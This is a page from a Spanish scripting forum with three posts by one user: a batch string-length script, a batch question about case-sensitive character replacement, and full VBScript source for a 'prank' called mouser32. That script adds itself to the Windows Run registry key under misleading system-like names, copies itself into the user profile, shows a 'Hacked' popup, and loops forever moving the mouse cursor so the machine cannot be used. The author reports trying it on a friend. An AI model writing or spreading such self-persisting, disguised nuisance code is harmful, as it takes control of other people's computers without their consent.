|
Mostrar Temas
|
Páginas: 1 2 3 [4] 5
|
32
|
Programación / Scripting / Función Lenght + efecto - by xassiz
|
en: 17 Septiembre 2009, 13:46 pm
|
Título: Función Lenght + efecto Temática: Strings Autor: xassiz Descripción: Muestra la longitud de una cadena introducida, y la muestra en vertical. Funcionamiento: Pide una string, y llama a la etiqueta lenght para medirla con un contador. Luego crea una variable para cada caracter y los muestre verticalmente.
@echo off title Funcion Lenght + efecto - by xassiz! setlocal enabledelayedexpansion :main (set txt=) set/p "txt=String> " if not defined txt (goto:main) set/a cont=0 call :lenght cls echo."%txt%" mide %cont% pause>nul echo. for /L %%_ in (1,1,%cont%) do (echo.!let[%%_]!) echo. pause>nul exit :lenght set "var=!txt:~%cont%,1!" if not defined var (goto:eof) set/a cont+=1 set "let[%cont%]=%var%" goto:lenght
Salida:
String> me llamo xassiz
'se borra la pantalla
"me llamo xassiz" mide 15
'hace una pausa
m e
l l a m o
x a s s i z
Si hay dudas, preguntad
|
|
|
33
|
Programación / Scripting / {Resuelto} [Batch Help!] ayuda con conversion de caracteres..
|
en: 16 Septiembre 2009, 17:50 pm
|
set "variable=%variable:a=1%" set "variable=%variable:A=2%" Ok, mi problema es para diferenciar mayúsculas de minusculas. Hay alguna forma? Pense con un IF.. if ["%variable%"]==["a"] (set "variable=%variable:a=1%") if ["%variable%"]==["A"] (set "variable=%variable:A=2%")
Pero si el contenido de %variable% tiene mas de un caracter ya no serviría.. Ahora mismo se me ocurrio hacer algo con findstr pero nunca lo supe utilizar bien..
|
|
|
36
|
Programación / Scripting / [BromaVBS] mouser32 - by xassiz!
|
en: 15 Septiembre 2009, 22:00 pm
|
Bueno, gracias a NovLucker llegué a hacer una broma en vbs (que la probé con un amigo y realmente funciona XD XD XD).. aprendí bastante al hacer esto -Se agrega al Run para iniciarse con el pc -Se autocopia -Agrega tambien al Run la copia por si se borra el original -Muestra un popup con un mensaje -Mueve el mouse cada medio segundo para diferentes sitios, de manera que no lo puedes utilizar xD -Comienza un bucle infinito, vuelve a mostrar el popup, vuelve a mover el mouse, etc. etc. etc. 'Mouser32 - by xassiz ''broma sobre el mouse
set registro = createobject("wscript.shell") registro.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\system32dll",wscript.scriptfullname,"REG_SZ" set autocopia = createobject("scripting.filesystemobject") set varentorno = createobject("wscript.shell") userprofile = varentorno.expandenvironmentstrings("%userprofile%") autocopia.copyfile wscript.scriptfullname, userprofile & "\mouser32.vbs", true set registro2 = createobject("wscript.shell") registro2.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\system32exe,"wscript.scriptfullname,"REG_SZ" do Set hacked=createobject("Wscript.shell") set broma=CreateObject("Excel.Application") mensaje=hacked.popup("Welcome to the hell.. the mouser32!!",1,"Hacked by xassiz!",16) mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""100"", ""100"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""200"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""200"", ""300"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""400"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""600"", ""500"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""600"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""700"", ""800"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""350"", ""200"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""100"", ""100"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""200"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""200"", ""300"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""400"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""600"", ""500"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""600"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""700"", ""800"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""350"", ""200"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""850"", ""1000"")") set broma=Nothing loop
Espero correcciones, criticas y mejoras Graciaaas!
|
|
|
|
|
|
|